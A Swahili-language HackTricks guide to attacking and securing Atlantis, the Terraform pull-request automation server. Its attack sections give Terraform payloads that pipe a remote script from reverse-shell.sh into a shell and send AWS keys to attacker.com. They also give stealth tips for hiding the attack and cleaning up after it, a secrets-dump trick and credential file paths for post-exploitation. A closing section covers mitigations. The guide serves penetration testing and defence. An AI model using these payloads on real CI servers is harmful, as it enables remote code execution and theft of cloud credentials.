Atlantis Security

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Taarifa Msingi

Atlantis kimsingi inakusaidia kutekeleza terraform kutoka kwa Maombi ya Kuvuta kutoka kwa seva yako ya git.

Maabara ya Kienyeji

  1. Nenda kwenye ukurasa wa kutolewa kwa atlantis kwenye https://github.com/runatlantis/atlantis/releases na pakua ile inayokufaa.

  2. Unda alama ya kibinafsi (yenye ufikio wa repo) ya mtumiaji wako wa github

  3. Tekeleza ./atlantis testdrive na itaunda repo ya onyesho unayoweza kutumia kuzungumza na atlantis

  4. Unaweza kufikia ukurasa wa wavuti kwenye 127.0.0.1:4141

Upatikanaji wa Atlantis

Sifa za Seva ya Git

Atlantis inasaidia mwenyeji kadhaa wa git kama Github, Gitlab, Bitbucket na Azure DevOps. Hata hivyo, ili kupata ufikio wa repos kwenye majukwaa hayo na kutekeleza vitendo, inahitaji kuwa na ufikio wa haki uliopewa (angalau ruhusa za kuandika). Nyaraka zinahimiza kuunda mtumiaji kwenye majukwaa haya kwa kusudi la Atlantis, lakini baadhi ya watu wanaweza kutumia akaunti za kibinafsi.

Kwa mtazamo wa mshambuliaji, akaunti ya Atlantis itakuwa moja ya kuvutia sana kudukuliwa.

Webhooks

Atlantis inatumia hiari Siri za Webhook kuthibitisha kuwa webhooks inayopokea kutoka kwa mwenyeji wako wa Git ni halali.

Njia moja ya kuthibitisha hii ni kuruhusu maombi yaje tu kutoka kwa IPs ya mwenyeji wako wa Git lakini njia rahisi ni kutumia Siri ya Webhook.

Tambua kwamba isipokuwa unatumia seva ya github au bitbucket ya kibinafsi, utahitaji kufunua miisho ya webhook kwa Mtandao.

Atlantis itakuwa inaweka wazi webhooks ili seva ya git iweze kutuma habari kwake. Kwa mtazamo wa mshambuliaji itakuwa muhimu kujua ikiwa unaweza kutuma ujumbe.

Sifa za Mtoaji

Kutoka kwa nyaraka:

Atlantis inatekeleza Terraform kwa kutekeleza tu amri za terraform plan na apply kwenye seva Atlantis inayohudumiwa. Kama vile unapotekeleza Terraform kwa kibinafsi, Atlantis inahitaji sifa za mtoaji wako maalum.

Inategemea wewe jinsi unavyo utoa sifa kwa mtoaji wako maalum kwa Atlantis:

  • Mchoro wa Atlantis Helm na Moduli ya AWS Fargate ina njia zao za kutoa sifa za mtoaji. Soma nyaraka zao.

  • Ikiwa unatekeleza Atlantis kwenye wingu basi mawingu mengi yana njia za kutoa ufikio wa API ya wingu kwa programu zinazoendeshwa kwenye mawingu hayo, kwa mfano:

  • Vyeo vya AWS EC2 (Tafuta "Vyeo vya EC2")

  • Watumiaji wengi huanzisha mazingira ya mazingira, kwa mfano. AWS_ACCESS_KEY, ambapo Atlantis inaendeshwa.

  • Wengine hujenga faili za usanidi muhimu, kwa mfano. ~/.aws/credentials, ambapo Atlantis inaendeshwa.

  • Tumia Mtoaji wa Hazina ya HashiCorp kupata sifa za mtoaji.

Kontena ambapo Atlantis inaendeshwa itakuwa na uwezekano mkubwa wa kuwa na sifa za haki kwa watoaji (AWS, GCP, Github...) ambao Atlantis inasimamia kupitia Terraform.

Ukurasa wa Wavuti

Kwa chaguo-msingi Atlantis itaendesha ukurasa wa wavuti kwenye bandari 4141 kwenye localhost. Ukurasa huu tu unaruhusu kuwezesha/kulemaza atlantis apply na kuangalia hali ya mpango wa repos na kuzifungua (hauruhusu kuhariri vitu, hivyo sio muhimu sana).

Labda hautaupata umefunuliwa kwa mtandao, lakini inaonekana kwa chaguo-msingi hakuna sifa zinahitajika kufikia (na ikiwa zinahitajika atlantis:atlantis ni zile za msingi).

Usanidi wa Seva

Usanidi wa seva ya atlantis unaweza kutajwa kupitia bendera za mstari wa amri, mazingira ya mazingira, faili ya usanidi au mchanganyiko wa vitatu.

Thamani zinachaguliwa kwa mpangilio huu:

  1. Bendera

  2. Mazingira ya Mazingira

  3. Faili ya Usanidi

Tambua kwamba katika usanidi unaweza kupata thamani za kuvutia kama vile alama na nywila.

Usanidi wa Repos

Baadhi ya usanidi unaathiri jinsi repos zinavyosimamiwa. Hata hivyo, inawezekana kwamba kila repo inahitaji mipangilio tofauti, kwa hivyo kuna njia za kufafanua kila repo. Hii ni mpangilio wa kipaumbele:

  1. Repo /atlantis.yml faili. Faili hii inaweza kutumika kufafanua jinsi atlantis inavyopaswa kutibu repo. Hata hivyo, kwa chaguo-msingi baadhi ya funguo haziwezi kufafanuliwa hapa bila bendera zinazoruhusu hilo.

  2. Labda inahitaji kuruhusiwa na bendera kama allowed_overrides au allow_custom_workflows

  3. Usanidi wa Upande wa Seva: Unaweza kuipitisha kwa bendera --repo-config na ni yaml inayopanga mipangilio mpya kwa kila repo (regexes inasaidiwa)

  4. Thamani za Msingi

Kinga za PR

Atlantis inaruhusu kuonyesha ikiwa unataka PR iwe imeidhinishwa na mtu mwingine (hata kama hiyo haijatolewa katika kinga ya tawi) na/au iwe inayoweza kufungwa (kinga ya tawi imepitishwa) kabla ya kutekeleza. Kutoka mtazamo wa usalama, kuweka chaguo zote ni muhimu.

Katika kesi allowed_overrides ni Kweli, mipangilio hii inaweza kubadilishwa kwenye kila mradi kupitia faili ya /atlantis.yml.

Scripts

Mipangilio ya repo inaweza kuainisha scripts za kukimbia kabla (pre workflow hooks) na baada (post workflow hooks) ya utekelezaji wa mfumo.

Hakuna chaguo la kuruhusu kuainisha scripts hizi katika faili ya /atlantis.yml ya repo.

Mfumo wa Kazi

Katika mipangilio ya repo (mipangilio ya upande wa seva) unaweza kuainisha mfumo wa kazi wa msingi mpya, au kuunda mifumo ya kazi ya desturi mpya. Unaweza pia kuainisha ni repo zipi zinaweza kufikia zile mipya zilizozalishwa. Kisha, unaweza kuruhusu faili ya atlantis.yaml ya kila repo kuainisha mfumo wa kazi utakaotumika.

Ikiwa bendera ya mipangilio ya upande wa seva allow_custom_workflows imewekwa kuwa Kweli, mifumo ya kazi inaweza kuainishwa katika faili ya atlantis.yaml ya kila repo. Pia, inaweza kuwa muhimu kwamba allowed_overrides inaainisha pia mfumo wa kazi kwa kubadilisha mfumo wa kazi utakaotumiwa. Hii kimsingi itatoa RCE kwenye seva ya Atlantis kwa mtumiaji yeyote anayeweza kufikia repo hiyo.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Ukaguzi wa Sera ya Conftest

Atlantis inasaidia kukimbia upande wa server conftest sera dhidi ya matokeo ya mpango. Matumizi ya kawaida ya hatua hii ni pamoja na:

  • Kukataa matumizi ya orodha ya moduli

  • Kudai sifa za rasilimali wakati wa uundaji

  • Kukamata kufutwa kwa rasilimali kwa bahati mbaya

  • Kuzuia hatari za usalama (yaani, kufunua bandari salama kwa umma)

Unaweza kuangalia jinsi ya kuiwezesha katika nyaraka.

Amri za Atlantis

Katika nyaraka unaweza kupata chaguo unazoweza kutumia kukimbia Atlantis:

# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options

Mashambulizi

Ikiwa wakati wa uvamizi unakutana na kosa hili: Kosa: Kosa la kupata kufunga hali

Unaweza kulitatua kwa kukimbia:

atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false

Atlantis mpango wa RCE - Kubadilisha Mipangilio kwenye PR mpya

Ikiwa una ufikiaji wa kuandika kwenye hazina, utaweza kuunda tawi jipya ndani yake na kuzalisha PR. Ikiwa unaweza kutekeleza atlantis plan (au labda inatekelezwa kiotomatiki) utaweza kufanya RCE ndani ya seva ya Atlantis.

Unaweza kufanya hivi kwa kufanya Atlantis iweke chanzo cha data cha nje. Weka mzigo kama huu katika faili ya main.tf:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Shambulizi la Kujificha

Unaweza kutekeleza shambulizi hili hata kwa njia ya kujificha zaidi, kwa kufuata mapendekezo haya:

  • Badala ya kuongeza rev shell moja kwa moja kwenye faili ya terraform, unaweza kupakia rasilimali ya nje inayohifadhi rev shell:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Unaweza kupata msimbo wa rev shell katika https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • Katika rasilimali ya nje, tumia kipengele cha ref kuficha msimbo wa rev shell wa terraform katika tawi ndani ya repo, kitu kama: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

  • Badala ya kuunda PR kwa masta kuzindua Atlantis, unda matawi 2 (jaribio1 na jaribio2) na unda PR kutoka moja kwenda nyingine. Ukikamilisha shambulio, ondoa tu PR na matawi.

Atlantis plan Secrets Dump

Unaweza kudondosha siri zinazotumiwa na terraform kwa kukimbia atlantis plan (terraform plan) kwa kuweka kitu kama hiki katika faili ya terraform:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Atlantis inatumia RCE - Kubadilisha Mipangilio kwenye PR Mpya

Ikiwa una ufikiaji wa kuandika kwenye hazina, utaweza kuunda tawi jipya ndani yake na kuzalisha PR. Ikiwa unaweza kutekeleza atlantis apply utaweza kufanya RCE ndani ya seva ya Atlantis.

Walakini, kawaida utahitaji kukiuka baadhi ya kinga:

  • Inayoweza Kufungwa: Ikiwa kinga hii imewekwa kwenye Atlantis, unaweza tu kukimbia atlantis apply ikiwa PR inaweza kufungwa (ambayo inamaanisha kuwa kinga ya tawi inahitaji kukiukwa).

  • Imeidhinishwa: Ikiwa kinga hii imewekwa kwenye Atlantis, mtumiaji mwingine lazima apitishe PR kabla ya wewe kukimbia atlantis apply

  • Kwa chaguo-msingi unaweza kutumia kitufe cha Gitbot kukiuka kinga hii

Kukimbia terraform apply kwenye faili ya Terraform yenye nia mbaya na local-exec. Unahitaji tu kuhakikisha kuwa mzigo fulani kama huu unamalizia kwenye faili ya main.tf:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Fuata mapendekezo kutoka kwa mbinu iliyopita kutekeleza shambulio hili kwa njia ya kujificha zaidi.

Uingizaji wa Paramu za Terraform

Unapotekeleza atlantis plan au atlantis apply terraform inatekelezwa chini ya-eneza, unaweza kupitisha amri kwa terraform kutoka atlantis kwa kutoa maoni kama:

atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help

Kitu unachoweza kupitisha ni mazingira ya env ambayo yanaweza kusaidia kukiuka baadhi ya ulinzi. Angalia mazingira ya env ya terraform katika https://www.terraform.io/cli/config/environment-variables

Mchakato wa Kibinafsi

Kuendesha amri za ujenzi za kawaida zenye nia mbaya zilizotajwa katika faili ya atlantis.yaml. Atlantis hutumia faili ya atlantis.yaml kutoka tawi la ombi la kuvuta, sio ya master. Uwezekano huu ulitajwa katika sehemu iliyopita:

Ikiwa bendera ya mazingira ya upande wa seva allow_custom_workflows imewekwa kuwa Sahihi, mchakato wa kazi unaweza kuwa umeainishwa katika faili ya atlantis.yaml ya kila repo. Pia, inaweza kuwa muhimu kwamba allowed_overrides inaainisha pia workflow kwa kubadilisha mchakato wa kazi utakaotumiwa.

Hii kimsingi itatoa RCE kwenye seva ya Atlantis kwa mtumiaji yeyote anayeweza kufikia repo hiyo.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Kupuuza ulinzi wa mpango/utekelezaji

Ikiwa bendera ya upande wa seva allowed_overrides imekuwa imewekwa apply_requirements, inawezekana kwa repo kurekebisha ulinzi wa mpango/utekelezaji ili kuzipuuza.

repos:
- id: /.*/
apply_requirements: []

Utekaji wa PR

Ikiwa mtu anatuma maoni ya atlantis plan/apply kwenye maombi yako halali ya pull, itasababisha terraform kufanya kazi wakati hauitaki.

Zaidi ya hayo, ikiwa huna kuweka ulinzi wa tawi kuomba kupima tena kila PR wakati commit mpya inapigwa kwenye hiyo, mtu anaweza kuandika mizunguko ya uovu (angalia mazingira ya awali) kwenye mizunguko ya terraform, kukimbia atlantis plan/apply na kupata RCE.

Hii ni mipangilio katika ulinzi wa matawi ya Github:

Siri ya Webhook

Ikiwa unafanikiwa kuiba siri ya webhook iliyotumiwa au ikiwa hakuna siri ya webhook inayotumiwa, unaweza kuita webhook ya Atlantis na kuita amri za atlatis moja kwa moja.

Bitbucket

Bitbucket Cloud haisaidii siri za webhook. Hii inaweza kuruhusu wachomaji kufanya ombi za uongo kutoka Bitbucket. Hakikisha unaruhusu tu anwani za IP za Bitbucket.

  • Hii inamaanisha kwamba mchomaji anaweza kufanya ombi bandia kwa Atlantis ambazo zinaonekana kama zinatoka kwa Bitbucket.

  • Ikiwa unaweka --repo-allowlist basi wanaweza tu kufanya ombi bandia yanayohusiana na repos hizo hivyo uharibifu mkubwa wanaweza kufanya ni kupanga/kutekeleza kwenye repos zako.

  • Ili kuzuia hili, ruhusu anwani za IP za Bitbucket (angalia Anwani za IP za IPv4 za kutoka).

Baada ya Utekaji

Ikiwa umefanikiwa kupata ufikiaji kwenye seva au angalau umepata LFI kuna vitu vya kuvutia unapaswa kujaribu kusoma:

  • /home/atlantis/.git-credentials Ina siri za ufikiaji wa vcs

  • /atlantis-data/atlantis.db Ina siri za ufikiaji wa vcs pamoja na habari zaidi

  • /atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate Faili ya hali ya Terraform

  • Mfano: /atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate

  • /proc/1/environ Vigezo vya mazingira

  • /proc/[2-20]/cmdline Mstari wa amri wa atlantis server (inaweza kuwa na data nyeti)

Kupunguza Hatari

Usitumie kwenye Repos za Umma

Kwa sababu yeyote anaweza kutoa maoni kwenye maombi ya pull ya umma, hata na mikakati ya usalama inayopatikana, bado ni hatari kufanya Atlantis kwenye repos za umma bila kuweka usanidi sahihi wa mipangilio ya usalama.

Usitumie --allow-fork-prs

Ikiwa unatumia kwenye repo ya umma (ambayo sio ilipendekeza, angalia hapo juu) usiweke --allow-fork-prs (inayopendelewa kuwa ya uwongo) kwa sababu yeyote anaweza kufungua maombi ya pull kutoka kwa fork yao kwenye repo yako.

--repo-allowlist

Atlantis inahitaji uweke orodha ya ruhusa ya repositori itakayokubali webhooks kutoka kupitia bendera ya --repo-allowlist. Kwa mfano:

  • Repositori maalum: --repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests

  • Shirika lako zima: --repo-allowlist=github.com/runatlantis/*

  • Kila repositori kwenye usanidi wako wa GitHub Enterprise: --repo-allowlist=github.yourcompany.com/*

  • Repositori zote: --repo-allowlist=*. Inafaa wakati uko kwenye mtandao uliolindwa lakini hatari bila kuweka siri ya webhook pia.

Bendera hii inahakikisha usanidi wako wa Atlantis haikutumiwa na repositori usizodhibiti. Angalia atlantis server --help kwa maelezo zaidi.

Lina Terraform Planning

Ikiwa wachomaji wanawasilisha maombi ya pull na nambari mbaya ya Terraform iko kwenye mfano wako wa tishio basi lazima uwe na ufahamu kwamba idhini za terraform apply hazitoshi. Inawezekana kutekeleza nambari mbaya kwenye terraform plan kwa kutumia chanzo cha data cha external au kwa kufafanua mtoa huduma mbaya. Nambari hii inaweza kisha kuchukua siri zako.

Ili kuzuia hili, unaweza:

  1. Ingiza watoa huduma kwenye picha ya Atlantis au mwenyeji na kata egress katika uzalishaji.

  2. Tekeleza itifaki ya usajili wa watoa huduma ndani na kata egress ya umma, hivyo unadhibiti ni nani anayeandika upatikanaji wa usajili.

  3. Badilisha usasanidi wa repo upande wa seva ya hatua ya plan kuthibitisha dhidi ya matumizi ya watoa huduma au vyanzo vya data vilivyozuiliwa au PR kutoka kwa watumiaji wasioruhusiwa. Unaweza pia kuongeza uthibitisho wa ziada wakati huu, k.m. kuhitaji "kipepeo" kwenye PR kabla ya kuruhusu plan kuendelea. Conftest inaweza kuwa na manufaa hapa.

Siri za Webhook

Atlantis inapaswa kuendeshwa na siri za Webhook zilizowekwa kupitia mazingira ya $ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET. Hata na bendera ya --repo-allowlist iliyowekwa, bila siri ya webhook, wachomaji wanaweza kufanya maombi kwa Atlantis wakijifanya kuwa ni repo iliyoruhusiwa. Siri za webhook zinahakikisha kuwa maombi ya webhook yanatoka kweli kwa mtoa huduma wako wa VCS (GitHub au GitLab).

Ikiwa unatumia Azure DevOps, badala ya siri za webhook ongeza jina la msingi na nywila.

Uthibitishaji wa Msingi wa Azure DevOps

Azure DevOps inasaidia kutuma kichwa cha uthibitishaji wa msingi katika matukio yote ya webhook. Hii inahitaji kutumia URL ya HTTPS kwa eneo lako la webhook.

SSL/HTTPS

Ikiwa unatumia siri za webhook lakini trafiki yako ni juu ya HTTP basi siri za webhook zinaweza kuibiwa. Wezesha SSL/HTTPS kwa kutumia bendera za --ssl-cert-file na --ssl-key-file.

Wezesha Uthibitishaji kwenye Seva ya Wavuti ya Atlantis

Inapendekezwa sana kuwezesha uthibitishaji kwenye huduma ya wavuti. Wezesha BasicAuth kwa kutumia --web-basic-auth=true na weka jina la mtumiaji na nywila kwa kutumia bendera za --web-username=yourUsername na --web-password=yourPassword.

Unaweza pia kupitisha haya kama mazingira ya mazingira ATLANTIS_WEB_BASIC_AUTH=true ATLANTIS_WEB_USERNAME=yourUsername na ATLANTIS_WEB_PASSWORD=yourPassword.

Marejeo

Last updated